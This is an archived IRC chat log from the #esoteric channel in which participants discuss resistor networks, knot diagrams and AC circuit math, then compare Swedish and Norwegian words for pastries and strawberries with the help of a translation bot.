:oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you use an actual circular arrangement? < 1268338283 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, of what? < 1268338286 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If the crossing goes one way, it's a one-ohm resistor; if it goes the other way, it's a negative-one-ohm resistor. < 1268338290 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :of each half < 1268338291 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1268338295 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1268338297 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that would work < 1268338306 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would be an awesome cpu < 1268338311 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if it was circular < 1268338321 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And strangely, all the Redemeister moves, the things you can do to a knot diagram that leave it unchanged, are also things that leave the circuit essentially unchanged. < 1268338334 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1268338336 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :As far as I can tell, this is simply a massive coincidence. < 1268338337 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :strangely? < 1268338339 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, !!!! resistors don't have directions < 1268338340 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in < 1268338345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :they work the same both ways < 1268338355 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :unlike, say, a transistor < 1268338366 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: what do you need for a klein bottle? >:) < 1268338368 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(which has more than two legs) < 1268338368 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: let me make some ASCII art illustrating this. < 1268338422 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, look, I'm currently studying AC electric theory at university. Did DC a month back or so. And if there is one thing I'm certain of, it is that resistors work the same *in both directions* < 1268338441 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I know. And crossings look the same in both directions. < 1268338471 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, sure, and you can't get negative resistance except by using some arrangement of transistors or such to "emulate" that < 1268338494 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I know. < 1268338509 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Still, negative resistors are mathematically well-defined. < 1268338529 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The paste, if you care for it: http://pastebin.ca/1834339 < 1268338549 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, sure, but they don't actually make any physical sense < 1268338573 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's math! It doesn't need to make sense! < 1268338596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, and sure, if you rotate it 180 degrees, it looks the same except you now have a reverse B and a "forall" symbol < 1268338606 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but what about it? < 1268338609 0 :adam_d!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1268338620 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's a neat isomorphism. < 1268338621 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, where does the negative one ohm come into it < 1268338643 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, if the crossing goes the other way, it's a negative resistor. < 1268338651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, also how exactly is it isomorphic to a 1 ohm resistor? < 1268338678 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's isomorphic to a 1-ohm resistor because the isomorphism maps it onto a 1-ohm resistor. < 1268338690 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, and what is that isomorphism? < 1268338691 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The bijection is an isomorphism because knot diagrams and these circuits obey the same laws. < 1268338703 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1268338729 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, so where are the poles in that ascii art? < 1268338741 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is it the ends of the lines? if so, why 4? < 1268338793 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The poles are the regions A and B. < 1268338852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay... < 1268338878 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :this seems fairly complex < 1268338907 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, and how do you represent a capacitor of 0.1 µF in that sort of thingy? < 1268338919 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(modulo typos) < 1268338940 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :By understanding this much better than I do. < 1268338945 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268338949 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :good answer I guess < 1268338952 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268338962 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hi, Wareya. < 1268338966 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, what about something simpler like a 1.25 Ohm resistance? < 1268339254 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw, are there matrices in more than 2 dimensions? I can't see why not, but I have never seen any such < 1268339269 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :use 4 parallel copies of 5 serially connected 1 Ohm resistors. maybe. < 1268339296 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, hm there should be resistances that you can't reach by doing such operations < 1268339301 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, what about pi Ohm for example < 1268339313 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oerjan's idea is what I would have said. < 1268339327 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: um do you consider an n by n matrix as 2- or n-dimensional? < 1268339354 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, well in this case as 2D. Since you can locate a given number in it by taking column and row numbers < 1268339362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is analogous to x and y coordinate < 1268339370 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in that case you probably want to look at tensors < 1268339398 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The thing is, I tried making the knot diagram corresponding to three parallel copies of three serially connected one-ohm resistors, and I'm pretty sure the result was not equivalent to simply a one-ohm resistor. < 1268339406 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, ah, I heard that word before. Tell me, does it extend to n dimensions for any n in R, or just to some boring fixed number n? < 1268339453 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: any natural number n. also you don't call it dimensions, that's for the underlying space (i.e. n in n by n) < 1268339458 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :afaik < 1268339462 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, ah I see < 1268339503 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, maybe you did the connection of those in the wrong way? < 1268339548 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the term used seems to be "order" < 1268339558 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, silly mathematicans ;P < 1268339666 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i assume you can only reach rational resistances that way, at least by combining serial and parallel separately (serial adds the resistances and parallel adds their inverses iirc) < 1268339671 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's pretty simple and regular. < 1268339688 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So I don't think I make a mistake. < 1268339710 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, the formula is 1/R_new = 1/R_1 + 1/R_2 + ... + 1/R_n < 1268339727 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well that's what i _said_ isn't it < 1268339732 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, so yes, add their inverses, *plus* then invert that < 1268339758 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, the sum of their inverses is 1/R_new after all < 1268339772 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um right that may have been unclear < 1268339790 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I'm tempted to say: s/unclear/forgotten/ < 1268339801 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :not really < 1268339809 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1268339854 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Serial adds the resistances to get the new resistance. Paralle adds their inverses to get the new inverse. < 1268339855 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why is it 1/A = 1/B + 1/C? < 1268339898 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :fax: well, you can derive that using Ohm's law and some basic knowledge of how circuits work. < 1268339912 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, the interesting thing is that if you have a sinus formed alternating current, and write capacitances and inductances as specific complex values you can calculate as if it was all direct current < 1268339915 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how do circuits work < 1268339927 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, by suitably advanced magic < 1268339933 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err, I mean technology of course ;P < 1268339955 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: it has to do in my intuition with how resistance is the quotient of voltage and current, and serial vs. parallel adds voltage and current respectively < 1268339985 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why does parallel add current? < 1268339989 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, the former is called Ohm's law < 1268339996 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, err what? < 1268340021 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, what do you mean "serial vs. parallel adds voltage and current respectively" < 1268340023 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, every pole has a voltage, and every component has a current, and the currents in and out of a pole must add up to the same thing, and every component has an equation of some sort determining the relation between voltage and current. < 1268340030 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm unable to decode that in a sensible way < 1268340035 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because for a fixed voltage across, you get the current flowing across _each_ branch for that branch < 1268340054 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :When you place two components in parallel, the voltage across the entire group is equal to the voltage across each component. < 1268340073 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And the current across the entire group is equal to the sum of the currents across each component. < 1268340078 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1268340096 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what uorygl said was a lot more sensible. < 1268340097 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If you want to know how analog circuits work, this applet makes it crystal clear: http://falstad.com/circuit/ < 1268340123 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, think of parallel it as opening more roads for the traffic to drive along to the same goal < 1268340128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/it// < 1268340151 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well he explained why it's the case... < 1268340181 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, your statement seemed somewhat confused. As in what do you mean "serial adds voltage"? < 1268340182 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also i've never learned alternating current < 1268340191 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what exactly does that even mean < 1268340208 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the potential between the ends is the sum of the potentials across each step < 1268340209 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well, do you know what he meant by "parallel adds current"? < 1268340219 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, oh it is fun. You just write currents and voltages on polar form, plus what I said above for the components, and calculate the same < 1268340239 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then you just pick the pieces back to the non-complex form for the final result < 1268340244 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :When you place two components in series, the current through the entire group is equal to the current through each component, and the voltage across the entire gruop is equal to the sum of the voltages across each component. < 1268340252 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: the potential between the ends is the sum of the potentials across each step <-- well sure < 1268340270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: well, do you know what he meant by "parallel adds current"? <-- I can have a guess, but it isn't how I would express it. < 1268340315 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I know how to do the math, I just don't think his way of describing the operations made a lot of sense < 1268340335 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to the extent I was unable to decode what operation he meant < 1268340398 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION nods.
< 1268340411 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :whatEVER < 1268340424 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, plus I'm somewhat challenged when it comes to the English terms for these things. The course is in Swedish < 1268340503 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :current = strøm, voltage/potential = spenning, if the norwegian terms help < 1268340522 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, that doesn't work as we have voltage = spänning potential = potential < 1268340545 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and current = ström I know < 1268340546 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well i'm a little vague on the difference between those two < 1268340553 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, also what about impedans? < 1268340555 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268340563 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :isn't that impedance < 1268340571 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I suddenly wonder why you guys are speaking English. :P < 1268340572 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks on wikipedia
< 1268340581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh? < 1268340584 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i think it's impedans in norwegian too < 1268340597 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, seems it is impedance from a quick look at wikipedia < 1268340608 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It would be neat if you spoke Norwegian and Swedish and I tried to follow along. < 1268340622 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :at least i recall my dad using that word (he's an electrical engineer) < 1268340641 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well we would have some issues between ourselves. While the languages are similar, they are not that close < 1268340647 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so some confusion would certainly arise < 1268340652 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Nei det ville det ikke < 1268340669 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and that if directly translated to Swedish is somewhat silly < 1268340682 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for a start what on earth does "det" refer to in there? < 1268340690 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the second one that is < 1268340692 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but also the first < 1268340712 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the "It" of uorygl's sentence < 1268340739 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a literal translation from me would be: "no that want that not", an "idiomatic if it was Swedish" would be "no it won't it" or such. < 1268340745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or rather, < 1268340754 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i suppose you could add "være" at the end for better precision < 1268340769 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I think your "det" can be used somewhat differently than "det" in Swedish perhaps? < 1268340816 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i don't know anything about that. it corresponds to both "it" and "there (is)" in english though, though swedish was the same < 1268340819 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*thought < 1268340822 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Eh. Everyone, just learn Spanish. :P < 1268340824 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, please give an English idiomatic translation of the whole thing, because I haven't figured it out < 1268340829 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, agreed! < 1268340835 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: "No, it wouldn't be" < 1268340836 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1268340840 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Let's see, I don't have a Swedish keyboard installed. < 1268340841 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I thought you said Swedish < 1268340843 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not Spanish < 1268340846 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :blerh < 1268340848 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :blergh* < 1268340853 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, ah... < 1268340862 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, "nej, det skulle det inte vara" < 1268340878 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: so "det" wasn't the problem actually? < 1268340880 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, so the issue is "ville" which means "want" but not "would" < 1268340900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(well, vill is the base form rather) < 1268340905 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :börk < 1268340906 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well i knew that about swedish, i think < 1268340927 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, which mean what you said didn't make a lot of sense to me. I was wondering what was wanting what < 1268340932 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(perhaps for a bday present?) < 1268340963 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ville/skulle is a little awkward to translate i guess < 1268340964 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, you know, that is so completely un-Swedish as you can get, to a Swede that is < 1268341069 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, the word doesn't map 1:1 to English would for all forms, as in, the ground form "ska" maps to ~will (as in "foo will turn into bar" or whatever, not as in "last will") < 1268341112 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"last will" seems to make more sense if you set in the Swedish "vill", so it turns into "last want" < 1268341125 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :perhaps it is some old form of a word still left in that phrase or such? < 1268341127 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :siste vilje < 1268341168 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(in norwegian) < 1268341181 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, yep similar in Swedish. though if it is the legal document you mean it would be "testamente" < 1268341193 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268341210 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm tempted to speak Norwegian, but as the only words I know are "skillingsbolle" and "smultring", I can't. < 1268341211 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"last will and testament" < 1268341222 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: at least you won't starve < 1268341230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, what is the first? < 1268341240 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Cinnamon roll. < 1268341253 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the latter I can guess, if it is actually sv:"smultron"? (not sure if that is spelled with o or å though) < 1268341262 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION would call that kanelbolle...
< 1268341272 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh kanelbulle < 1268341286 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, are your bullar spheres or what? < 1268341287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :;P < 1268341290 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto sw en smultron < 1268341292 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Don't ask me why Wikipedia calls it a skillingsbolle. < 1268341297 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: approximately < 1268341304 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :smultron < 1268341305 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: oh it's probably called that too < 1268341319 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1268341325 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto sv en smultron < 1268341327 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :strawberries < 1268341334 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what the heck < 1268341335 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, since sv:boll = en:ball. thus "kanelbolle" sounds like a ball of kanel to me < 1268341351 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: _definitely_ not smultron, then (would be "jordbær") < 1268341351 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Wiktionary says that smultringer are called "munk" in Swedish. < 1268341360 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, then what is "smultring" then? < 1268341362 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Or "flottyr-ring" or "ringmunk" or something. < 1268341379 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, also strawberries seems wrong... < 1268341380 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :http://sv.wikipedia.org/wiki/Munk_%28bakverk%29 < 1268341388 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Those munkar look delicious. < 1268341400 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: plain donuts, was the conclusion of our discussion here < 1268341407 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, http://sv.wikipedia.org/wiki/Smultron < 1268341416 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which are *not* strawberries, but a related thingy < 1268341437 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :en:strawberry = sv:jordgubbe < 1268341439 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :They are strawberries < 1268341443 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Just not the same kind < 1268341455 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268341457 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :perhaps < 1268341463 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm no specialist on that sort of thing < 1268341464 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :en:strawberry = fi:mansikka, sv:smultron = fi:metsämansikka < 1268341467 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: markjordbær vs. jordbær in norwegian < 1268341495 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, the former seems somewhat silly. "ground earth berries" and the latter "earth berries"? < 1268341524 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Swedish Wiktionary says that smultron are Fragaria vesca, which English Wikipedia says are commonly known as woodland strawberries. < 1268341530 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :s/Wiktionary/Wikipedia/ < 1268341537 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, why not "ground earth zero-altitude berries" next < 1268341552 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well "mark" here sounds me like it means "in the wild" in this case < 1268341563 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, aha < 1268341584 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, there are no such connotations of that word in Swedish < 1268341589 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Lowly ground earth dirt berries! < 1268341595 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :while the other kind is a farmed variety, which iirc is a hybrid of markjordbær with an american relative... < 1268341602 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :probably it would be called "vilda &" or "vild&" or such < 1268341610 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(where & as in sed) < 1268341619 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(i think i heard that mentioned on television recently) < 1268341633 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :which must mean christmas, since that was last i watched tv < 1268341657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Wiktionary says that smultringer are called "munk" in Swedish. <-- sv:munk is *also* en:monk < 1268341659 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just to confuse things < 1268341671 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yum, monks. < 1268341691 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so if you google translate a Swedish article about either and happen to get some of the other things you now know the cause < 1268341740 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://sv.wikipedia.org/wiki/Munk_%28olika_betydelser%29 <-- apparently it can also be something related to hydrology < 1268341745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea what < 1268341814 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Munk är inom hydrologin en regleranordning för att kunna reglera inloppet eller utloppet till en damm. < 1268341818 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Monk is in hydrology a regulated regime to regulate the inlet or outlet to a pond. < 1268341826 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait wikipedia disagrees with me < 1268341835 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A regulated regime. < 1268341840 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"The garden strawberry was first bred in Brittany, France in 1740 via a cross of Fragaria virginiana from eastern North America , which was noted for its flavor, and Fragaria chiloensis from Chile and Argentina brought by Amédée-François Frézier, which was noted for its large size." < 1268341844 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, mistranslation < 1268341855 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Ursprungligen betecknar ordet munk ett vertikalt rör, där vatten kan strömma in över kanten när vattenytan i dammen överstiger kantens höjd. < 1268341860 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Originally, the word denotes a monk, a vertical pipe, where water can flow onto the top when the water in the pond exceeds the edge height. < 1268341868 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, it would be "regulation apparatus" < 1268341873 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or some such < 1268341873 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or with my recollection, rather. anyway neither ancestor was actually markjordbær then < 1268341961 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :strangely afaik in norwegian "munk" means only the same as english "monk" < 1268341971 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268341977 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :never heard any of the other meanings < 1268342017 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, flottyr-ring works in Swedish too (for the non-monk-or-hydrology type of munk that is) < 1268342023 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268342027 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :drop that - < 1268342043 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it seems out of place < 1268342075 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, what is your native language then? < 1268342088 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh sw:munk as bakery is named for the monk hairstyle :D < 1268342097 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1268342099 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that explains it < 1268342104 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, also: sv not sw < 1268342112 0 